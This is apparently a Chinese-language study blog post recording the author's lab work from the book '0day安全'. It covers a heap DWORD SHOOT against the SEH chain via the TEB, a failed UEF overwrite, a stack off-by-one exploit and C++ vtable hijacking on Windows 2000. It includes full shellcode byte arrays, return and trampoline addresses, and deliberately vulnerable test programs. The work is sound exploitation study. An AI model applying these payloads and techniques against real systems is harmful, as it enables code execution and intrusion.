经过调试,我发现其实我是遇到了"0day安全 Chapter 5 堆溢出利用"提到的“指针反射”现象。只不过在以往的测试中,“指针反射”只是导致了shellcode前面的部分\x90被覆盖,而其本身也是对shellcode没有影响的汇编指令,所以我也没怎么关注过这个问题。但是这个问题在当前场景下由于一个巧合,完美地导致了攻击的失败。

首先我们复习一下双向链表拆卸:

而所谓指针反射,是类似的情况:

node 1是被我们控制并溢出的堆块。我们希望的是下方0x7FFDE000处四个字节被改为0x0012FF4C,但是注意!这个时候0x0012FF4C + 4的位置由于指针反射也被改为了0x7FFDE000!这在以前没有关系,但是在这里不可以,因为SEH链表中一个节点内其异常处理函数的偏移也是4!所以这个指针反射恰好把我们的shellcode的地址给覆盖掉了!如果SEH链表与之前的VEH链表一样,其中的异常处理函数偏移地址不是4而是8,那么指针反射就无所谓了。

具体情况可以看下面这个截图:

上图正是HeapAlloc内的情况。可以看到右下方0x0012FF50处由于指针反射被覆盖为了0x7FFDE000

那么如何解决这个问题呢?我在第五章已经思考过这个问题,也给出了解决方法,即:我们直接利用链表拆卸的第二个操作来完成DWORD SHOOT,示意图如下:

我们并不担心0x0012FF4C处被改写,因为它四个字节后的地方才是SEH节点异常处理函数的指针,而它并未被改写,同时0x7FFDE000处的值依然符合期望。这就够了。

所以最终的shellcode如下:

char shellcode[] = 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x29\xc9\xb1\xbc\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e\x07"
"\xe2\xfa\xfd\xea\x81\x04\x05\x06\x67\x81\xec\x3b\xcb\x68\x86"
"\x5e\x3f\x9b\x43\x1e\x98\x46\x01\x9d\x65\x30\x16\xad\x51\x3a"
"\x2c\xe1\xb3\x1c\x40\x5e\x21\x08\x05\xe7\xe8\x25\x28\xed\xc9"
"\xde\x7f\x79\xa4\x62\x21\xb9\x79\x08\xbe\x7a\x26\x40\xda\x72"
"\x3a\xed\x6c\xb5\x66\x60\x40\x91\xc8\x0d\x5d\xa5\x7d\x01\xc2"
"\x7e\xc0\x4d\x9b\x7f\xb0\xfc\x90\x9d\x5e\x55\x92\x6e\xb7\x2d"
"\xaf\x59\x26\xa4\x66\x23\x7b\x15\x85\x3a\xe8\x3c\x41\x67\xb4"
"\x0e\xe2\x66\x20\xe7\x35\x72\x6e\xa3\xfa\x76\xf8\x75\xa5\xff"
"\x33\x5c\x5d\x21\x20\x1d\x24\x24\x2e\x7f\x61\xdd\xdc\xde\x0e"
"\x94\x6c\x05\xd4\xe0\x8a\x01\x08\x3c\x8f\x90\x91\xc2\xfb\xa5"
"\x1e\xf9\x10\x67\x4c\x21\x6b\x29\x3f\xc8\xf7\x06\x34\x1f\x3e"
"\x5b\x70\x9a\xa1\xd4\xa3\x2a\x50\x4c\xd8\xab\x14\xf7\xa2\xc0"
"\xdc\xde\xb5\xe5\x48\x6d\xda\xdb\xd7\xdf\xbd"
"\x0E\x01\x22\x00\x00\x01\x00\x00"
"\xFC\xDF\xFD\x7F"
"\x4C\xFF\x12\x00";

成功弹窗:

攻击成功后,我再一次思考:“攻击TEB”这个实验我最初是在Win2000上完成的,后来发现XP上也可以。那么为什么XP上也可以?系统不去调用VEH吗?嗯,因为源代码中并没有注册VEH,系统当然不会调用。于是我恍然大悟,终于能够回答上一部分攻击VEH最后的遗留问题(可以翻回上一部分查看)。

  • 攻击UEF(unsolved)

思路:利用DWORD SHOOT覆盖UEF句柄,然后制造一个其他异常处理都无法解决的异常。

UEF句柄可以通过在IDA中反汇编查看kernel32.dll中的SetUnhandledExceptionFilter()函数代码获得:

如上,在我的Windows 2000环境中,句柄指针是位于0x7C5D044C。我们需要把这个地方给覆盖成shellcode的首地址,在我的环境下就是0x003D0688

我认为,只需要借用之前的代码,把最后DWORD SHOOT涉及到的两个地址修改一下就行:

"\x88\x06\x3D\x00"
"\x4C\x04\x5D\x7C";

但是,这样做失败了。与攻击TEB的情况类似,我通过调试器跟进后发现:DWORD SHOOT成功,同时shellcode也是在那个地址,且最后的确发生了异常,导致程序终止。但是没有计算器弹窗。一个可能的问题是“指针反射”:在DWORD SHOOT和指针反射都发生之后,查看shellcode,发现开始处如下:

注意其中有一个JL,这个正是指针反射带来的。所以,我不能确定shellcode到这里是否还能正确地执行下去,还是会发生跳转。在这种情况下,往往需要借助一个跳板来执行shellcode,因为对于跳板而言,我们只需需要那一条call,前后的指令被反射成别的东西也没关系。

David Litchfield指出在异常发生时,EDI往往指向堆中离shellcode不远的地方,所以可以找一个类似于call dword ptr [edi + 0x78]之类的跳板,因为我们shellcode开头有大量的0x90。但是在我的环境下,EDI在异常发生时是离shellcode不远,但是它的地址在shellcode之上?!我必须要找一个类似于call dword ptr [edi - xxx]的跳板才可以!

借助Ollyfindaddr插件,我在kernel32.dll中没怎么找到edi -xxxcall,但是有非常多的call edi,所以我尝试通过在

"\x88\x06\x3D\x00"
"\x4C\x04\x5D\x7C";

这两个用于DWORD SHOOT的指针后面加入大量的0x90,然后再跟着shellcode,即,把shellcode垫高到异常发生时edi的上方去。我这里,异常发生时edi是0x003D08A0,而shellcode起始地址为0x003D0688,所以我加入了2820x90,接着把DWORD SHOOT的前指针改为Ollyfindaddr结果中的一条call edi,这样理论上跳板攻击是能够成功的(但是指针反射可能会向kernel32.dll中尝试写入,这会不会导致其他异常呢?):

变成

"\x78\xF6\x5A\x7C"
"\x4C\x04\x5D\x7C";

然而还是没有成功。好吧,至少我试过了。我去吃饭了。

  • 攻击PEB中的函数指针

详见"0day安全 Chapter 5 堆溢出利用"。

“off by one”的利用

Halvar Flake在Third Generation Exploitation中按照攻击难度把漏洞利用技术分为三个层次:

  • 基础栈溢出,攻击者可以轻松劫持控制流,如对strcpy/strcat的攻击
  • 高级栈溢出,栈中有诸多限制,溢出数据往往只能淹没部分的EBP,而无法抵达返回地址处。典型例子是strncpy误用导致的“off by one”漏洞
  • 堆溢出和格式化字符串

off by one的漏洞场景是类似于如下的代码片段(循环中):

void off_by_one(char *input)
{
    char buf[200];
    int i = 0, len = 0;
    for(i = 0; input[i] && (i <= len); i++){
        buf[i] = input[i];
    }
}

或者如下的代码片段(复制时):

void foo(char* arg) {
    bar(arg);
}

void bar(char* arg) {
    char buf[256];
    strcpy(buf, arg);
}

int main(int argc, char *argv[]) {
    if(strlen(argv[1]) > 256) {
        printf("Attempted Buffer Overflow\n");
        fflush(stdout);
        return -1;
    }
    
    foo(argv[1]);
 
    return 0;
}

上面两个不同片段的区别是:上面的片段允许我们用任意的一个字节去覆盖栈中ebp的低位,而下面的片段中则只能使用字符串尾零去覆盖。

这是非常容易出现的编程错误,我们知道,正确的判断条件应该是i < len。如果缓冲区buf后面紧接着栈帧中的ebp,那么可以想到,上述代码将导致栈帧中的ebp最低一个字节被覆盖。换句话说,我们能够在0 ~ 255的范围内改变这个ebp的值。

那么,这可以达到什么效果呢?我们看下面的图解(结合上面的第二个代码片段来看)(下图中的栈从上向下为高地址到低地址):

如上图,左侧为正常情况下从bar()返回到foo(),然后从foo()返回到main()的栈上变化,其中ebp (b2)代表在b2步骤执行完后ebp的位置,其他以此类推。右侧的图代表发生Off by One时的栈上变化。可以发现,由于从bar()的栈帧中恢复的ebp低位为0,导致bar()结束后的ebp寄存器指向了栈下方,进而在foo()将要结束时esp也被篡改为了同一位置,然后foo()ret将返回到攻击者控制的pseudo-ret,导致控制流被劫持。

需要注意的是,当我们在做漏洞研究时,往往会思考这个漏洞是否可以在别的操作系统上、甚至别的CPU架构上利用。当然,由于不同系统、架构之间存在着差异,所以往往是不可以直接利用的,但是也许稍微变通一下,就可行了。从我的经验来看,Windows上许多堆栈溢出的思想同样适用于Linux。当然了,Off by one也是,甚至网上介绍其在Linux环境下利用方法的文章更多。另外,对于同一种利用思想,也可以考虑分别施加于堆溢出和栈溢出,比如前边提到的SEH,栈溢出是最直接的覆盖,而堆溢出则是一个任意地址写入,虽有差异,但最终都能达到效果。

下面,我先做一个Windows环境下栈上的Off by One实验,等到《0day》这本书研究完了,将来研究Linux系统下的堆栈溢出时,再补上Linux环境下的内容。

我们使用的测试代码如下:

#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
char shellcode[] = 
"\x90\x90\x90...";

void bar(char *arg) {
    char buf[256];
//	__asm INT 3
    strcpy(buf, arg);
}

void foo(char *arg) {
	char arr[80];

//	strcpy(arr, arg);

	bar(arg);

}

int main(int argc, char *argv[]) {

	HINSTANCE handle;
    handle=LoadLibrary(DLL_NAME);

    if(!handle){
        printf(" load dll erro !");
        exit(0);
    }

    if(strlen(shellcode) > 256) {
        printf("Attempted Buffer Overflow\n");
        fflush(stdout);
        return -1;
    }
    
    foo(shellcode);


    return 0;
}

这段代码是由上面的第二个代码片段改写而来,我的环境是Win2000和VC++6.0。我们依旧通过__asm INT 3和调试器attach的方法去调试。需要注意的是,在VC中我们要把优化选项设置为禁用,否则经过优化,foo函数的栈帧将不存在,这是我后来发现的:

当如下开启优化时:

foo函数的返回部分是这样的:

可以发现,没有mov esp, ebp

我们要把它关闭:

然后我们需要的指令就出现了:

我们首先用256个\x90填充shellcode,看一下栈上的情况:

可以发现,当复制操作完成后,EBP所指的位置最低位的确被覆盖成0x00,这个位置具体为0x0012FF00,即下图中左下方数据区紫色框开始的地方:

我们结合刚刚讲过的Off by One的原理看一下,当foo()即将结束且执行到mov esp, ebp后,esp将是0x0012FF00,接着pop ebp后,esp变成0x0012FF04,接着就要ret。所以我们应该在0x0012FF04的位置放上我们要劫持到的目的地址。这时很自然的,我们想到在这个地方放一个跳板jmp esp,但是后面可用的空间只有3个字节了(别忘了我们的缓冲区有长度限制),所以仅仅使用跳板是不行的,应该先用跳板跳到这3个字节上,然后从这里再跳到我们控制的缓冲区开始的地方,即0x0012FE14附近。具体来说,就是我在"0day安全 Chapter 3 开发shellcode的艺术"提到过的模型:

关于这个模型的详细解释可以去看第三章。

行动:

首先,使用OllyFindAddr找到一个跳板:

由于call esp还要进行压栈操作,会破坏我们的攻击,所以我选择jmp esp,而Unknown的也许不稳定,所以最终选择user32.dll中的0x77e39eb8作为跳板。

接着,我们要写一个jmp esp-X,由于不能出现0x00,所以我这里变通了一下:

		mov eax, esp
		xor ebx, ebx
		mov bl, 0xF0
		sub eax, ebx
		jmp eax

这里我用的是0xF0,即240,大概可以跳到缓冲区开头,毕竟那里有一堆0x90,没关系的。

shellcode就继续用弹计算器的那个206字节的好了。

经过计算偏移并做填充后,最终得到的shellcode如下:

char shellcode[] = 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x66\x81\xEC\x40\x04" // sub sp, 0x440

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

// calc
"\x31\xc9\xb1\xbc\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e\x07"
"\xe2\xfa\xfd\xea\x81\x04\x05\x06\x67\x81\xec\x3b\xcb\x68\x86"
"\x5e\x3f\x9b\x43\x1e\x98\x46\x01\x9d\x65\x30\x16\xad\x51\x3a"
"\x2c\xe1\xb3\x1c\x40\x5e\x21\x08\x05\xe7\xe8\x25\x28\xed\xc9"
"\xde\x7f\x79\xa4\x62\x21\xb9\x79\x08\xbe\x7a\x26\x40\xda\x72"
"\x3a\xed\x6c\xb5\x66\x60\x40\x91\xc8\x0d\x5d\xa5\x7d\x01\xc2"
"\x7e\xc0\x4d\x9b\x7f\xb0\xfc\x90\x9d\x5e\x55\x92\x6e\xb7\x2d"
"\xaf\x59\x26\xa4\x66\x23\x7b\x15\x85\x3a\xe8\x3c\x41\x67\xb4"
"\x0e\xe2\x66\x20\xe7\x35\x72\x6e\xa3\xfa\x76\xf8\x75\xa5\xff"
"\x33\x5c\x5d\x21\x20\x1d\x24\x24\x2e\x7f\x61\xdd\xdc\xde\x0e"
"\x94\x6c\x05\xd4\xe0\x8a\x01\x08\x3c\x8f\x90\x91\xc2\xfb\xa5"
"\x1e\xf9\x10\x67\x4c\x21\x6b\x29\x3f\xc8\xf7\x06\x34\x1f\x3e"
"\x5b\x70\x9a\xa1\xd4\xa3\x2a\x50\x4c\xd8\xab\x14\xf7\xa2\xc0"
"\xdc\xde\xb5\xe5\x48\x6d\xda\xdb\xd7\xdf\xbd"

"\x90\x90\x90\x90"

// jmp esp
"\xb8\x9e\xe3\x77"

// jmp esp - X
"\x8B\xC4\x33\xDB"
"\xB3\xF0\x2B\xC3"
"\xFF\xE0\x90\x90";

测试:

这中间,我有大概3次以为要成功了,但是测试后什么都没有出现。那时候真的是挺沮丧的,但马上就投入检查之中,并很快发现了问题所在。最终才成功完成攻击。成功弹窗的那一刻,我获得的喜悦是巨大的。

攻击C++的虚函数

原理

  • C++累的成员函数在声明时,如果使用vitrual修饰,则被称为虚函数
  • 一个类可能有多个虚函数
  • 虚函数的入口地址被统一保存在虚表Vtable
  • 对象在使用虚函数时,先通过虚表指针找到虚表,然后从虚表中取出最终的函数入口地址
  • 虚表指针保存在对象的内存空间中,紧接着虚表指针的是其他成员变量
  • 虚函数只有通过对象指针的引用才能显示出其动态调用的特性

虚函数的实现如下图:

如果对象成员变量发生溢出,那么理所当然地,我们有机会去修改对象中的虚表指针或修改虚表中的虚函数指针,从而当程序调用虚函数时执行shellcode。

尝试攻击(Windows 2000):

我们使用的代码只是为了测试这种攻击的可行性:

#include <windows.h>
#include <iostream.h>

char shellcode[] = "\x90...";

class Victim
{
public:
	char buf[240];
	virtual void test(void)
	{
		cout << "Class Vtable::test()" << endl;
	}
};

Victim victim, *p;

int main()
{
//	__asm INT 3
	char *p_vtable;
	p_vtable = victim.buf - 4;
	p_vtable[0] = '\x3C';
	p_vtable[1] = '\x91';
	p_vtable[2] = '\x40';
	p_vtable[3] = '\x00';
	strcpy(victim.buf, shellcode);
	p = &victim;
	p->test();

	return 0;
}

我们通过p_vtable = victim.buf - 4;定位到虚表指针,将其修改到缓冲区末尾四个字节的起始位,而这四个字节正是shellcode的起始地址(这是因为在当前环境下,shellcode起始地址的高位总是0x00,所以我们只能把这个地址放在shellcode的最末,借用字符串的尾零去达到目的。如果放在中间,那么strcpy会终止复制)。

p->test()时,程序会按照我们改写过的虚表指针去找虚函数指针,从而跳到我们伪造的虚函数,即shellcode。

攻击流程如下:

以上用到的shellcode的首位地址需要通过调试确认。

最终shellcode如下:

char shellcode[] = 
// nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// calc
"\x31\xc9\xb1\xbc\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e\x07"
"\xe2\xfa\xfd\xea\x81\x04\x05\x06\x67\x81\xec\x3b\xcb\x68\x86"
"\x5e\x3f\x9b\x43\x1e\x98\x46\x01\x9d\x65\x30\x16\xad\x51\x3a"
"\x2c\xe1\xb3\x1c\x40\x5e\x21\x08\x05\xe7\xe8\x25\x28\xed\xc9"
"\xde\x7f\x79\xa4\x62\x21\xb9\x79\x08\xbe\x7a\x26\x40\xda\x72"
"\x3a\xed\x6c\xb5\x66\x60\x40\x91\xc8\x0d\x5d\xa5\x7d\x01\xc2"
"\x7e\xc0\x4d\x9b\x7f\xb0\xfc\x90\x9d\x5e\x55\x92\x6e\xb7\x2d"
"\xaf\x59\x26\xa4\x66\x23\x7b\x15\x85\x3a\xe8\x3c\x41\x67\xb4"
"\x0e\xe2\x66\x20\xe7\x35\x72\x6e\xa3\xfa\x76\xf8\x75\xa5\xff"
"\x33\x5c\x5d\x21\x20\x1d\x24\x24\x2e\x7f\x61\xdd\xdc\xde\x0e"
"\x94\x6c\x05\xd4\xe0\x8a\x01\x08\x3c\x8f\x90\x91\xc2\xfb\xa5"
"\x1e\xf9\x10\x67\x4c\x21\x6b\x29\x3f\xc8\xf7\x06\x34\x1f\x3e"
"\x5b\x70\x9a\xa1\xd4\xa3\x2a\x50\x4c\xd8\xab\x14\xf7\xa2\xc0"
"\xdc\xde\xb5\xe5\x48\x6d\xda\xdb\xd7\xdf\xbd"
// shellcode_addr
"\x50\x90\x40";

测试:

注意,由于虚表指针位于成员变量之前,所以普通的“栈溢出”无法达到这种溢出效果。当然,对象的内存空间其实是在堆中,但是它本身对内存空间的使用又是连续的,这一点类似于栈。所以在两种情况下更适合对虚表进行攻击:

  • 能够DWORD SHOOT(毋庸置疑)
  • 存在多个对象,能够溢出到下一个对象的内存空间

Heap Spray:堆与栈的协同攻击

本节的内容在"0day安全 Chapter 27 MS06-055分析:实战Heap Spray"实践。我将在第27章再回过头来学习这个技术,并做笔记。

补注:在第十三章绕过ASLR时也用到过堆喷技术。

参考资料

  • bh-win-04-litchfield.pdf
  • halvarflake-winsec02.pdf

有很多教程,可以学习一下:
http://www.fuzzysecurity.com/tutorials.html

总结

(unsolved)

关于整个这一章,我有一个疑问:在DWORD SHOOT后如果没有触发异常,那么shellcode也得不到执行,那么最终具体是什么因素触发了异常?

Per Aspera Ad Astra